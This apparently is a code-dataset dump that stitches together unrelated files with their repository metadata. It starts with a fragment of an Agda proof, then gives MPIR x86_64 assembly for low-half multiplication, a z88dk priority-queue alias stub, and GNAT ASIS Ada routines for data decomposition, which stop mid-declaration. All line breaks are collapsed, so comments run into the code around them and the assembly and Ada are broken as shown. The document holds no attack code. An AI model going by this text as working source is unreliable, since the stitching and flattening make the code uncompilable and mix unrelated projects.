=⟨ group-ua (C-Susp (ℕ-to-ℤ m) (⊙Lift (⊙Sphere m))) ⟩ C (ℕ-to-ℤ m) (⊙Lift (⊙Sphere m)) =⟨ C-Sphere-diag m ⟩ C 0 (⊙Lift ⊙S⁰) ∎
LibSource/mpir/mpn/x86_64/core2/mullow_n_basecase.asm
ekzyis/CrypTool-2
12
171214
dnl AMD64 mpn_mullo_basecase optimised for Conroe/Wolfdale/Nehalem/Westmere. dnl Contributed to the GNU project by <NAME>. dnl Copyright 2008, 2009, 2011-2013 Free Software Foundation, Inc. dnl This file is part of the GNU MP Library. dnl dnl The GNU MP Library is free software; you can redistribute it and/or modify dnl it under the terms of either: dnl dnl * the GNU Lesser General Public License as published by the Free dnl Software Foundation; either version 3 of the License, or (at your dnl option) any later version. dnl dnl or dnl dnl * the GNU General Public License as published by the Free Software dnl Foundation; either version 2 of the License, or (at your option) any dnl later version. dnl dnl or both in parallel, as here. dnl dnl The GNU MP Library is distributed in the hope that it will be useful, but dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License dnl for more details. dnl dnl You should have received copies of the GNU General Public License and the dnl GNU Lesser General Public License along with the GNU MP Library. If not, dnl see https://www.gnu.org/licenses/. include(`../config.m4') C cycles/limb mul_2 addmul_2 C AMD K8,K9 C AMD K10 C AMD bull C AMD pile C AMD steam C AMD bobcat C AMD jaguar C Intel P4 C Intel core 4.0 4.18-4.25 C Intel NHM 3.75 4.06-4.2 C Intel SBR C Intel IBR C Intel HWL C Intel BWL C Intel atom C VIA nano C The inner loops of this code are the result of running a code generation and C optimisation tool suite written by <NAME> and <NAME>. C TODO C * Implement proper cor2, replacing current cor0. C * Offset n by 2 in order to avoid the outer loop cmp. (And sqr_basecase?) C * Micro-optimise. C When playing with pointers, set this to $2 to fall back to conservative C indexing in wind-down code. define(`I',`$1') define(`rp', `%rdi') define(`up', `%rsi') define(`vp_param', `%rdx') define(`n_param', `%rcx') define(`n_param8', `%cl') define(`v0', `%r10') define(`v1', `%r11') define(`w0', `%rbx') define(`w032', `%ebx') define(`w1', `%rcx') define(`w132', `%ecx') define(`w2', `%rbp') define(`w232', `%ebp') define(`w3', `%r12') define(`w332', `%r12d') define(`n', `%r9') define(`n32', `%r9d') define(`n8', `%r9b') define(`i', `%r13') define(`vp', `%r8') define(`X0', `%r14') define(`X1', `%r15') C rax rbx rcx rdx rdi rsi rbp r8 r9 r10 r11 r12 r13 r14 r15 define(`ALIGNx', `ALIGN(16)') define(`N', 85) ifdef(`N',,`define(`N',0)') define(`MOV', `ifelse(eval(N & $3),0,`mov $1, $2',`lea ($1), $2')') ASM_START() TEXT ALIGN(32) PROLOGUE(mpn_mullow_n_basecase) mov (up), %rax mov vp_param, vp cmp $4, n_param jb L(lsmall) mov (vp_param), v0 push %rbx lea (rp,n_param,8), rp C point rp at R[un] push %rbp lea (up,n_param,8), up C point up right after U's end push %r12 mov $0, n32 C FIXME sub n_param, n push %r13 mul v0 mov 8(vp), v1 test $1, n_param8 jnz L(lm2x1) L(lm2x0):test $2, n_param8 jnz L(lm2b2) L(lm2b0):lea (n), i mov %rax, (rp,n,8) mov %rdx, w1 mov (up,n,8), %rax xor w232, w232 jmp L(lm2e0) L(lm2b2):lea -2(n), i mov %rax, w2 mov (up,n,8), %rax mov %rdx, w3 xor w032, w032 jmp L(lm2e2) L(lm2x1):test $2, n_param8 jnz L(lm2b3) L(lm2b1):lea 1(n), i mov %rax, (rp,n,8) mov (up,n,8), %rax mov %rdx, w0 xor w132, w132 jmp L(lm2e1) L(lm2b3):lea -1(n), i xor w332, w332 mov %rax, w1 mov %rdx, w2 mov (up,n,8), %rax jmp L(lm2e3) ALIGNx L(lm2tp):mul v0 add %rax, w3 mov -8(up,i,8), %rax mov w3, -8(rp,i,8) adc %rdx, w0 adc $0, w132 L(lm2e1):mul v1 add %rax, w0 adc %rdx, w1 mov $0, w232 mov (up,i,8), %rax mul v0 add %rax, w0 mov w0, (rp,i,8) adc %rdx, w1 mov (up,i,8), %rax adc $0, w232 L(lm2e0):mul v1 add %rax, w1 adc %rdx, w2 mov 8(up,i,8), %rax mul v0 mov $0, w332 add %rax, w1 adc %rdx, w2 adc $0, w332 mov 8(up,i,8), %rax L(lm2e3):mul v1 add %rax, w2 mov w1, 8(rp,i,8) adc %rdx, w3 mov $0, w032 mov 16(up,i,8), %rax mul v0 add %rax, w2 mov 16(up,i,8), %rax adc %rdx, w3 adc $0, w032 L(lm2e2):mul v1 mov $0, w132 C FIXME: dead in last iteration add %rax, w3 mov 24(up,i,8), %rax mov w2, 16(rp,i,8) adc %rdx, w0 C FIXME: dead in last iteration add $4, i js L(lm2tp) L(lm2ed):imul v0, %rax add w3, %rax mov %rax, I(-8(rp),-8(rp,i,8)) add $2, n lea 16(vp), vp lea -16(up), up cmp $-2, n jge L(lcor1) push %r14 push %r15 L(louter): mov (vp), v0 mov 8(vp), v1 mov (up,n,8), %rax mul v0 test $1, n8 jnz L(la1x1) L(la1x0):mov %rax, X1 MOV( %rdx, X0, 8) mov (up,n,8), %rax mul v1 test $2, n8 jnz L(la110) L(la100):lea (n), i mov (rp,n,8), w3 mov %rax, w0 MOV( %rdx, w1, 16) jmp L(llo0) L(la110):lea 2(n), i mov (rp,n,8), w1 mov %rax, w2 mov 8(up,n,8), %rax MOV( %rdx, w3, 1) jmp L(llo2) L(la1x1):mov %rax, X0 MOV( %rdx, X1, 2) mov (up,n,8), %rax mul v1 test $2, n8 jz L(la111) L(la101):lea 1(n), i MOV( %rdx, w0, 4) mov (rp,n,8), w2 mov %rax, w3 jmp L(llo1) L(la111):lea -1(n), i MOV( %rdx, w2, 64) mov %rax, w1 mov (rp,n,8), w0 mov 8(up,n,8), %rax jmp L(llo3) ALIGNx L(ltop): mul v1 add w0, w1 adc %rax, w2 mov -8(up,i,8), %rax MOV( %rdx, w3, 1) adc $0, w3 L(llo2): mul v0 add w1, X1 mov X1, -16(rp,i,8) adc %rax, X0 MOV( %rdx, X1, 2) adc $0, X1 mov -8(up,i,8), %rax mul v1 MOV( %rdx, w0, 4) mov -8(rp,i,8), w1 add w1, w2 adc %rax, w3 adc $0, w0 L(llo1): mov (up,i,8), %rax mul v0 add w2, X0 adc %rax, X1 mov X0, -8(rp,i,8) MOV( %rdx, X0, 8) adc $0, X0 mov (up,i,8), %rax mov (rp,i,8), w2 mul v1 add w2, w3 adc %rax, w0 MOV( %rdx, w1, 16) adc $0, w1 L(llo0): mov 8(up,i,8), %rax mul v0 add w3, X1 mov X1, (rp,i,8) adc %rax, X0 MOV( %rdx, X1, 32) mov 8(rp,i,8), w3 adc $0, X1 mov 8(up,i,8), %rax mul v1 add w3, w0 MOV( %rdx, w2, 64) adc %rax, w1 mov 16(up,i,8), %rax adc $0, w2 L(llo3): mul v0 add w0, X0 mov X0, 8(rp,i,8) MOV( %rdx, X0, 128) adc %rax, X1 mov 16(up,i,8), %rax mov 16(rp,i,8), w0 adc $0, X0 add $4, i jnc L(ltop) L(lend): imul v1, %rax add w0, w1 adc %rax, w2 mov I(-8(up),-8(up,i,8)), %rax imul v0, %rax add w1, X1 mov X1, I(-16(rp),-16(rp,i,8)) adc X0, %rax mov I(-8(rp),-8(rp,i,8)), w1 add w1, w2 add w2, %rax mov %rax, I(-8(rp),-8(rp,i,8)) add $2, n lea 16(vp), vp lea -16(up), up cmp $-2, n jl L(louter) pop %r15 pop %r14 jnz L(lcor0) L(lcor1):mov (vp), v0 mov 8(vp), v1 mov -16(up), %rax mul v0 C u0 x v2 add -16(rp), %rax C FIXME: rp[0] still available in reg? adc -8(rp), %rdx C FIXME: rp[1] still available in reg? mov -8(up), %rbx imul v0, %rbx mov -16(up), %rcx imul v1, %rcx mov %rax, -16(rp) add %rbx, %rcx add %rdx, %rcx mov %rcx, -8(rp) pop %r13 pop %r12 pop %rbp pop %rbx ret L(lcor0):mov (vp), %r11 imul -8(up), %r11 add %rax, %r11 mov %r11, -8(rp) pop %r13 pop %r12 pop %rbp pop %rbx ret ALIGN(16) L(lsmall): cmp $2, n_param jae L(lgt1) L(ln1): imul (vp_param), %rax mov %rax, (rp) ret L(lgt1): ja L(lgt2) L(ln2): mov (vp_param), %r9 mul %r9 mov %rax, (rp) mov 8(up), %rax imul %r9, %rax add %rax, %rdx mov 8(vp), %r9 mov (up), %rcx imul %r9, %rcx add %rcx, %rdx mov %rdx, 8(rp) ret L(lgt2): L(ln3): mov (vp_param), %r9 mul %r9 C u0 x v0 mov %rax, (rp) mov %rdx, %r10 mov 8(up), %rax mul %r9 C u1 x v0 imul 16(up), %r9 C u2 x v0 add %rax, %r10 adc %rdx, %r9 mov 8(vp), %r11 mov (up), %rax mul %r11 C u0 x v1 add %rax, %r10 adc %rdx, %r9 imul 8(up), %r11 C u1 x v1 add %r11, %r9 mov %r10, 8(rp) mov 16(vp), %r10 mov (up), %rax imul %rax, %r10 C u0 x v2 add %r10, %r9 mov %r9, 16(rp) ret EPILOGUE()
libsrc/_DEVELOPMENT/adt/bv_priority_queue/c/sdcc_iy/bv_priority_queue_pop.asm
jpoikela/z88dk
640
243211
; int bv_priority_queue_pop(bv_priority_queue_t *q) SECTION code_clib SECTION code_adt_bv_priority_queue PUBLIC _bv_priority_queue_pop EXTERN _ba_priority_queue_pop defc _bv_priority_queue_pop = _ba_priority_queue_pop
src/asis/a4g-dda_aux.adb
My-Colaborations/dynamo
15
6759
<reponame>My-Colaborations/dynamo<gh_stars>10-100 ------------------------------------------------------------------------------ -- -- -- GNAT COMPILER COMPONENTS -- -- -- -- A 4 G . D D A _ A U X -- -- -- -- B o d y -- -- -- -- Copyright (C) 1999-2012, AdaCore -- -- -- -- GNAT is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 2, or (at your option) any later ver- -- -- sion. GNAT is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License -- -- for more details. You should have received a copy of the GNU General -- -- Public License distributed with GNAT; see file COPYING. If not, write -- -- to the Free Software Foundation, 59 Temple Place - Suite 330, Boston, -- -- MA 02111-1307, USA. -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- GNAT was originally developed by the GNAT team at New York University. -- -- It is now maintained by AdaCore (http://www.adacore.com). -- -- -- ------------------------------------------------------------------------------ with Asis; with Asis.Data_Decomposition; use type Asis.Data_Decomposition.Portable_Value; with Atree; use Atree; with Einfo; use Einfo; with Sem_Aux; use Sem_Aux; with Sinfo; use Sinfo; with Snames; use Snames; with Nlists; use Nlists; with System; use System; with Unchecked_Conversion; package body A4G.DDA_Aux is pragma Warnings (Off, Default_Bit_Order); -- This pragma is needed to suppress warnings (generated in -gnatwa mode) -- for the conditions like -- -- if Default_Bit_Order = High_Order_First then -- -- Conditions like this includes two constants, so they are always True (or -- always False), but the value of Default_Bit_Order is different on -- different platforms ------------------------------------------- -- Renamed Entities in Imported Packages -- ------------------------------------------- -- These are simply renamed to avoid the need for qualification subtype ASIS_Integer is Asis.ASIS_Integer; subtype ASIS_Natural is Asis.ASIS_Natural; subtype ASIS_Positive is Asis.ASIS_Positive; subtype Portable_Value is Asis.Data_Decomposition.Portable_Value; subtype Portable_Positive is Asis.Data_Decomposition.Portable_Positive; subtype Portable_Data is Asis.Data_Decomposition.Portable_Data; subtype Dimension_Indexes is Asis.Data_Decomposition.Dimension_Indexes; subtype Discrim_List is Repinfo.Discrim_List; ------------------------ -- Local Declarations -- ------------------------ SU : constant := 8; -- Size of storage unit, basically we assume this throughout, but we -- still try to use this symbolic value everywhere, both for clarity -- and to assist anyone undertaking the (rather large) task of dealing -- with non-byte addressable machines. type Bit is range 0 .. 1; for Bit'Size use 1; type Bit_String is array (0 .. ASIS_Natural'Last - 1) of Bit; pragma Pack (Bit_String); -- Type used for interpreting Portable_Data values as bit strings type Bit_String_Ptr is access all Bit_String; -- The actual access is via a bit string pointer, obtained by the -- use of unchecked conversion on the portable data value. function To_Bit_String_Ptr is new Unchecked_Conversion (Address, Bit_String_Ptr); ----------------------- -- Local Subprograms -- ----------------------- function Check (U : Node_Ref_Or_Val) return Uint; -- This function checks if the given value is a constant, and if so -- returns it, otherwise the exception Variable_Rep_Info is raised. function Check (U : Node_Ref_Or_Val) return ASIS_Natural; -- Like above function, but value is returned as ASIS_Natural. The -- exception Invalid_Data is raised if the value is not in the range -- of this type. function Check_And_Eval (U : Node_Ref_Or_Val; Discs : Discrim_List) return Uint; -- This function checks if the given value is a constant, or is a value -- that depends on the discriminants of its containing record. In the -- former case, the value is returned, in the latter case, the list of -- discriminants is used to evaluate the value. If U is No_Uint on -- entry, then the exception Variable_Rep_Info is raised. function Check_And_Eval (U : Node_Ref_Or_Val; Discs : Discrim_List) return ASIS_Natural; -- Like above function, but value is returned as ASIS_Natural. The -- exception Invalid_Data is raised if the value is not in the range -- of this type. function Extract_Field (Data : Portable_Data; Start : ASIS_Natural; Len : ASIS_Natural; Typ : Entity_Id) return Portable_Data; -- Given a portable data value, Data, takes the bit slice starting at -- offset Start, with length Len bits and returns a Portable_Value that -- is interpretable as a value of the given type Typ. In the case of -- a scalar value, the result will be 1,2,4, or 8 bytes long with proper -- sign or zero extension as required. function Set_Field (Data : Portable_Data; Start : ASIS_Natural; Len : ASIS_Natural; Typ : Entity_Id; Val : Portable_Data) return Portable_Data; -- Given a portable data value, sets the bit slice in this value to -- contain the value corresponding to the value given in Val. The value -- returned is the resulting Portable_Data value, extended if necessary -- to be long enough to accomodate the slice, and with the new value -- set in place. procedure Set_Field (Data : in out Portable_Data; Start : ASIS_Natural; Len : ASIS_Natural; Typ : Entity_Id; Val : Portable_Data); -- This is similar in effect, except that the assignment is done in place -- to the supplied Data value, which must be long enough to accomodate the -- given slice (if it is not, then the Invalid_Data exception is raised. ------------------------ -- Build_Discrim_List -- ------------------------ function Build_Discrim_List (Rec : Entity_Id; Data : Portable_Data) return Discrim_List is begin if Is_Record_Type (Rec) and then Has_Discriminants (Rec) then declare D : Entity_Id; Dis : Discrim_List (1 .. Number_Discriminants (Rec)); begin D := First_Discriminant (Rec); for J in Dis'Range loop Dis (J) := Extract_Discriminant (Data, D); D := Next_Discriminant (D); end loop; return Dis; end; else return Null_Discrims; end if; end Build_Discrim_List; ----------- -- Check -- ----------- function Check (U : Node_Ref_Or_Val) return Uint is begin if U = No_Uint or else U < 0 then raise Variable_Rep_Info; else return U; end if; end Check; function Check (U : Node_Ref_Or_Val) return ASIS_Natural is begin if U = No_Uint or else U < 0 then raise Variable_Rep_Info; elsif not UI_Is_In_Aint_Range (U) then raise Invalid_Data; else return UI_To_Aint (U); end if; end Check; -------------------- -- Check_And_Eval -- -------------------- function Check_And_Eval (U : Node_Ref_Or_Val; Discs : Discrim_List) return Uint is begin if U = No_Uint then raise Variable_Rep_Info; else return Rep_Value (U, Discs); end if; end Check_And_Eval; function Check_And_Eval (U : Node_Ref_Or_Val; Discs : Discrim_List) return ASIS_Natural is V : Uint; begin if U = No_Uint then raise Variable_Rep_Info; else V := Rep_Value (U, Discs); if not UI_Is_In_Aint_Range (V) then raise Invalid_Data; else return UI_To_Aint (V); end if; end if; end Check_And_Eval; ----------------------- -- Component_Present -- ----------------------- function Component_Present (Comp : Entity_Id; Discs : Discrim_List) return Boolean is Decl : constant Node_Id := Declaration_Node (Comp); Var : Node_Id; function Variant_Present (V : Node_Id) return Boolean; -- Given the N_Variant node and using Discs as the global object -- representing the discriminant list, determines if the given -- variant is present for the given list of discriminant values. -- This includes checking the existance of enclosing variants in case -- if V is a nesed variant, or checking the presence of other -- variants in case if V is 'when OTHERS' variant function Variant_Present (V : Node_Id) return Boolean is Next_Var : Node_Id; -- Needed to iterate throurg the preceding variants in the -- same variant part Result : Boolean := True; function Enclosing_Variant (V : Node_Id) return Node_Id; -- Implements Sinfo.Enclosing_Variant, which because of some -- unknown reeason always returns Empty ??? function Enclosing_Variant (V : Node_Id) return Node_Id is Result : Node_Id := Empty; begin Result := Parent (Parent (Parent (V))); if Nkind (Result) /= N_Variant then Result := Empty; end if; return Result; end Enclosing_Variant; begin if No (V) then -- To stop the recursion in case of nested variants return True; else Next_Var := First_Non_Pragma (List_Containing (V)); while Next_Var /= V loop -- Checking that all the preceding variants (if any) do not -- present if Rep_Value (Present_Expr (Next_Var), Discs) /= Uint_0 then Result := False; exit; end if; Next_Var := Next_Non_Pragma (Next_Var); end loop; if Result then -- Checking that the given variant presents "locally" Result := Rep_Value (Present_Expr (V), Discs) /= Uint_0; end if; return Result and then Variant_Present (Enclosing_Variant (V)); end if; end Variant_Present; begin -- If not a component, assume must be present if Nkind (Decl) /= N_Component_Declaration then return True; -- If not in variant part, assume must be present else Var := Parent (Parent (Decl)); if Nkind (Var) /= N_Variant then return True; -- Otherwise evaluate to see if present else return Variant_Present (Var); end if; end if; end Component_Present; ------------------------- -- Decode_Scalar_Value -- ------------------------- function Decode_Scalar_Value (Typ : Entity_Id; Data : Portable_Data) return Uint is U : Uint; Neg : Boolean; begin U := Uint_0; -- Determine if input value is negative if Is_Unsigned_Type (Typ) or else Has_Biased_Representation (Typ) then Neg := False; elsif Default_Bit_Order = High_Order_First then Neg := Data (Data'First) >= 16#80#; else Neg := Data (Data'Last) >= 16#80#; end if; -- Negative values of a signed type if Neg then if Default_Bit_Order = Low_Order_First then for J in reverse Data'Range loop U := U * 256 + Int ((not Data (J))); end loop; else for J in Data'Range loop U := U * 256 + Int ((not Data (J))); end loop; end if; return -(U + 1); -- Non-negative values else if Default_Bit_Order = Low_Order_First then for J in reverse Data'Range loop U := U * 256 + Int (Data (J)); end loop; else for J in Data'Range loop U := U * 256 + Int (Data (J)); end loop; end if; -- Remove bias if biased type if Has_Biased_Representation (Typ) then return U + Eval_Scalar_Node (Type_Low_Bound (First_Subtype (Typ))); else return U; end if; end if; end Decode_Scalar_Value; ------------------------- -- Encode_Scalar_Value -- ------------------------- function Encode_Scalar_Value (Typ : Entity_Id; Val : ASIS_Integer) return Portable_Data is begin return Encode_Scalar_Value (Typ, UI_From_Aint (Val)); end Encode_Scalar_Value; function Encode_Scalar_Value (Typ : Entity_Id; Val : Uint) return Portable_Data is V : Uint := Val; L : Portable_Positive; Lo : constant Uint := Eval_Scalar_Node (Type_Low_Bound (Base_Type (Typ))); Hi : constant Uint := Eval_Scalar_Node (Type_High_Bound (Base_Type (Typ))); begin if Val < Lo or else Val > Hi then raise Invalid_Data; end if; -- If biased type, then introduce bias if Has_Biased_Representation (Typ) then V := V - Eval_Scalar_Node (Type_Low_Bound (First_Subtype (Typ))); end if; -- Negative values (type must be signed). In these cases we adjust -- to get the corresponding unsigned value (which will look to be -- appropriately sign extended when it is stored in the output) if V < 0 then if V >= -(Uint_2 ** 7) then V := Uint_2 ** 8 + V; L := 1; elsif V >= -(Uint_2 ** 15) then V := Uint_2 ** 16 + V; L := 2; elsif V >= -(Uint_2 ** 31) then V := Uint_2 ** 32 + V; L := 4; elsif V >= -(Uint_2 ** 63) then V := Uint_2 ** 64 + V; L := 8; else raise Invalid_Data; end if; -- Non-negative values of unsigned types elsif Is_Unsigned_Type (Typ) or else Has_Biased_Representation (Typ) then if V < Uint_2 ** 8 then L := 1; elsif V < Uint_2 ** 16 then L := 2; elsif V < Uint_2 ** 32 then L := 4; elsif V < Uint_2 ** 64 then L := 8; else raise Invalid_Data; end if; -- Non-negative values of signed types else if V < Uint_2 ** 7 then L := 1; elsif V < Uint_2 ** 15 then L := 2; elsif V < Uint_2 ** 31 then L := 4; elsif V < Uint_2 ** 63 then L := 8; else raise Invalid_Data; end if; end if; declare Data : Portable_Data (1 .. L); begin if Default_Bit_Order = High_Order_First then for J in reverse Data'Range loop Data (J) := Portable_Value (UI_To_Int (V mod 256)); V := V / 256; end loop; else for J in Data'Range loop Data (J) := Portable_Value (UI_To_Int (V mod 256)); V := V / 256; end loop; end if; return Data; end; end Encode_Scalar_Value; ---------------------- -- Eval_Scalar_Node -- ---------------------- function Eval_Scalar_Node (N : Node_Id; Discs : Discrim_List := Null_Discrims) return Uint is Dnum : Uint; Ent : Entity_Id; begin -- Case of discriminant reference if Nkind (N) = N_Identifier and then Ekind (Entity (N)) = E_Discriminant then Dnum := Discriminant_Number (Entity (N)); if Dnum > Discs'Last then raise Constraint_Error; else return Discs (UI_To_Int (Dnum)); end if; -- Case of static expression, note that we cannot use Expr_Value -- here, since we cannot afford to drag in all of Sem_Eval. elsif Is_Static_Expression (N) then -- Identifier case if Nkind (N) = N_Identifier then Ent := Entity (N); -- Enumeration literal, we need the Pos value if Ekind (Ent) = E_Enumeration_Literal then return Enumeration_Pos (Ent); -- A user defined static constant else return Eval_Scalar_Node (Constant_Value (Ent), Discs); end if; -- Integer literal elsif Nkind (N) = N_Integer_Literal then return Intval (N); -- Only other possibility is a character literal else Ent := Entity (N); -- Since Character literals of type Standard.Character don't -- have any defining character literals built for them, they -- do not have their Entity set, so just use their Char -- code. Otherwise for user-defined character literals use -- their Pos value as usual. if No (Ent) then return Char_Literal_Value (N); -- Enumeration literal other than a character literal defined in -- Standard, we need the Pos value elsif Ekind (Ent) = E_Enumeration_Literal then return Enumeration_Pos (Ent); -- A user defined static constant else return Eval_Scalar_Node (Constant_Value (Ent), Discs); -- ??? There is at least one more case which can not handled -- properly yet: N is a reference to a component of a static -- record object end if; end if; -- If not static expression, or discriminant, cannot get bounds else raise Variable_Rep_Info; end if; end Eval_Scalar_Node; ----------------------------- -- Extract_Array_Component -- ----------------------------- function Extract_Array_Component (Typ : Entity_Id; Data : Portable_Data; Subs : Dimension_Indexes; Discs : Discrim_List := Null_Discrims) return Portable_Data is N : constant ASIS_Natural := Linear_Index (Typ, Subs, Discs); S : constant ASIS_Natural := UI_To_Aint (Get_Component_Size (Typ)); F : constant ASIS_Natural := N * S; begin return Extract_Field (Data, F, S, Component_Type (Typ)); end Extract_Array_Component; ------------------- -- Extract_Field -- ------------------- function Extract_Field (Data : Portable_Data; Start : ASIS_Natural; Len : ASIS_Natural; Typ : Entity_Id) return Portable_Data is P : constant Bit_String_Ptr := To_Bit_String_Ptr (Data'Address); RL : ASIS_Natural; L : ASIS_Natural; Uns : constant Boolean := Is_Unsigned_Type (Typ) or else Has_Biased_Representation (Typ); begin -- Here for non-scalar case, in this case, we simply build a -- portable data value that is the right length, rounded up to -- the next byte as needed, and then copy the bits to the target -- padding at the end with zero bits. if not Is_Scalar_Type (Typ) then declare Res : aliased Portable_Data (1 .. (Len + (SU - 1)) / SU); RP : constant Bit_String_Ptr := To_Bit_String_Ptr (Res'Address); begin RP (0 .. Len - 1) := P (Start .. Start + Len - 1); RP (Len .. Res'Length * SU - 1) := (others => 0); return Res; end; -- For scalar types, things are more complex, since we have to deal -- with proper endian handling and proper sign/zero extension. else -- First job is to find length of result L := Len; if L <= 8 then RL := 1; elsif L <= 16 then RL := 2; elsif L <= 32 then RL := 4; else RL := 8; -- Deal with case where there are unused bits if L > 64 then L := 64; end if; end if; declare Res : aliased Portable_Data (1 .. RL); RP : constant Bit_String_Ptr := To_Bit_String_Ptr (Res'Address); Ptr : ASIS_Integer; SX : Bit; begin -- Big-endian case. In this case we fill the result from right -- to left, since we want the result right justified, and then -- zero/sign fill on the left (i.e. at low numbered bits). if Default_Bit_Order = High_Order_First then Ptr := RL * SU - 1; for J in reverse Start .. Start + Len - 1 loop RP (Ptr) := P (J); Ptr := Ptr - 1; end loop; if Uns then SX := 0; else SX := P (Start); end if; for J in reverse 0 .. Ptr loop RP (J) := SX; end loop; -- Little-endian case. In this case, we fill the result from -- the left to right, since we want the result left justified, -- and then zero/sign on the right (i.e. at high numbered bits) else Ptr := 0; for J in Start .. Start + Len - 1 loop RP (Ptr) := P (J); Ptr := Ptr + 1; end loop; if Uns then SX := 0; else SX := P (Start + Len - 1); end if; for J in Ptr .. RL * SU - 1 loop RP (J) := SX; end loop; end if; return Res; end; end if; end Extract_Field; ------------------------------ -- Extract_Record_Component -- ------------------------------ function Extract_Record_Component (Data : Portable_Data; Comp : Entity_Id; Discs : Discrim_List := Null_Discrims) return Portable_Data is begin if Component_Present (Comp, Discs) then return Extract_Field (Data => Data, Start => Check_And_Eval (Component_Bit_Offset (Comp), Discs), Len => Check_And_Eval (Esize (Comp), Discs), Typ => Etype (Comp)); else raise No_Component; end if; end Extract_Record_Component; -------------------------- -- Extract_Discriminant -- -------------------------- function Extract_Discriminant (Data : Portable_Data; Disc : Entity_Id) return Uint is begin return Decode_Scalar_Value (Etype (Disc), Extract_Field (Data => Data, Start => Check (Component_Bit_Offset (Disc)), Len => Check (Esize (Disc)), Typ => Etype (Disc))); end Extract_Discriminant; ------------------------------ -- Get_Component_Bit_Offset -- ------------------------------ function Get_Component_Bit_Offset (Comp : Entity_Id; Discs : Discrim_List := Null_Discrims) return Uint is begin if Component_Present (Comp, Discs) then return Check_And_Eval (Component_Bit_Offset (Comp), Discs); else raise No_Component; end if; end Get_Component_Bit_Offset; ------------------------ -- Get_Component_Size -- ------------------------ function Get_Component_Size (Typ : Entity_Id) return Uint is begin return Check (Component_Size (Typ)); end Get_Component_Size; --------------- -- Get_Esize -- --------------- function Get_Esize (Comp : Entity_Id; Discs : Discrim_List := Null_Discrims) return Uint is begin if Component_Present (Comp, Discs) then return Check_And_Eval (Esize (Comp), Discs); else raise No_Component; end if; end Get_Esize; ---------------- -- Get_Length -- ---------------- function Get_Length (Typ : Entity_Id; Sub : ASIS_Positive; Discs : Discrim_List := Null_Discrims) return ASIS_Natural is N : Node_Id; T : Entity_Id; L : Node_Id; U : Node_Id; begin N := First_Index (Typ); for J in 1 .. Sub - 1 loop N := Next_Index (N); end loop; T := Etype (N); L := Type_Low_Bound (T); U := Type_High_Bound (T); return UI_To_Aint (UI_Max (0, Eval_Scalar_Node (U, Discs) - Eval_Scalar_Node (L, Discs) + 1)); end Get_Length; ------------------ -- Linear_Index -- ------------------ function Linear_Index (Typ : Entity_Id; Subs : Dimension_Indexes; Discs : Discrim_List := Null_Discrims) return ASIS_Natural is Indx : ASIS_Natural; Len : ASIS_Positive; begin Indx := 0; -- For the normal case, we are row major if Convention (Typ) /= Convention_Fortran then for J in Subs'Range loop Len := Get_Length (Typ, J, Discs); if Subs (J) > Len then raise No_Component; else Indx := Indx * Len + Subs (J) - 1; end if; end loop; -- For Fortran, we are column major else for J in reverse Subs'Range loop Len := Get_Length (Typ, J, Discs); if Subs (J) > Len then raise No_Component; else Indx := Indx * Len + Subs (J) - 1; end if; end loop; end if; return Indx; end Linear_Index; ------------------------- -- Set_Array_Component -- ------------------------- function Set_Array_Component (Typ : Entity_Id; Data : Portable_Data; Subs : Dimension_Indexes; Val : Portable_Data; Discs : Discrim_List := Null_Discrims) return Portable_Data is N : constant ASIS_Natural := Linear_Index (Typ, Subs, Discs); S : constant ASIS_Natural := UI_To_Aint (Get_Component_Size (Typ)); F : constant ASIS_Natural := N * S; begin return Set_Field (Data, F, S, Component_Type (Typ), Val); end Set_Array_Component; procedure Set_Array_Component (Typ : Entity_Id; Data : in out Portable_Data; Subs : Dimension_Indexes; Val : Portable_Data; Discs : Discrim_List := Null_Discrims) is N : constant ASIS_Natural := Linear_Index (Typ, Subs, Discs); S : constant ASIS_Natural := UI_To_Aint (Get_Component_Size (Typ)); F : constant ASIS_Natural := N * S; begin Set_Field (Data, F, S, Component_Type (Typ), Val); end Set_Array_Component; ---------------------- -- Set_Discriminant -- ---------------------- function Set_Discriminant (Data : Portable_Data; Disc : Entity_Id; Val : Uint) return Portable_Data is F : constant ASIS_Natural := Check (Component_Bit_Offset (Disc)); S : constant ASIS_Natural := Check (Esize (Disc)); T : constant Entity_Id := Etype (Disc); begin return Set_Field (Data, F, S, T, Encode_Scalar_Value (T, Val)); end Set_Discriminant; procedure Set_Discriminant (Data : in out Portable_Data; Disc : Entity_Id; Val : Uint) is F : constant ASIS_Natural := Check (Component_Bit_Offset (Disc)); S : constant ASIS_Natural := Check (Esize (Disc)); T : constant Entity_Id := Etype (Disc); begin Set_Field (Data, F, S, T, Encode_Scalar_Value (T, Val)); end Set_Discriminant; function Set_Discriminant (Data : Portable_Data; Disc : Entity_Id; Val : ASIS_Integer) return Portable_Data is F : constant ASIS_Natural := Check (Component_Bit_Offset (Disc)); S : constant ASIS_Natural := Check (Esize (Disc)); T : constant Entity_Id := Etype (Disc); begin return Set_Field (Data, F, S, T, Encode_Scalar_Value (T, Val)); end Set_Discriminant; procedure Set_Discriminant (Data : in out Portable_Data; Disc : Entity_Id; Val : ASIS_Integer) is F : constant ASIS_Natural := Check (Component_Bit_Offset (Disc)); S : constant ASIS_Natural := Check (Esize (Disc)); T : constant Entity_Id := Etype (Disc); begin Set_Field (Data, F, S, T, Encode_Scalar_Value (T, Val)); end Set_Discriminant; --------------- -- Set_Field -- --------------- function Set_Field (Data : Portable_Data; Start : ASIS_Natural; Len : ASIS_Natural; Typ : Entity_Id; Val : Portable_Data) return Portable_Data is Req_Bytes : constant ASIS_Natural := (Start + Len + (SU - 1)) / SU; begin if Data'Length >= Req_Bytes then declare Result : Portable_Data := Data; begin Set_Field (Result, Start, Len, Typ, Val); return Result; end; -- Extension of the value is needed else declare Result : Portable_Data (1 .. Req_Bytes); begin Result (1 .. Data'Length) := Data; for J in Data'Length + 1 .. Result'Length loop Result (J) := 0; end loop; Set_Field (Result, Start, Len, Typ, Val); return Result; end; end if; end Set_Field; procedure Set_Field (Data : in out Portable_Data; Start : ASIS_Natural; Len : ASIS_Natural; Typ : Entity_Id; Val : Portable_Data) is Req_Bytes : constant ASIS_Natural := (Start + Len + (SU - 1)) / SU; Val_Bits : constant 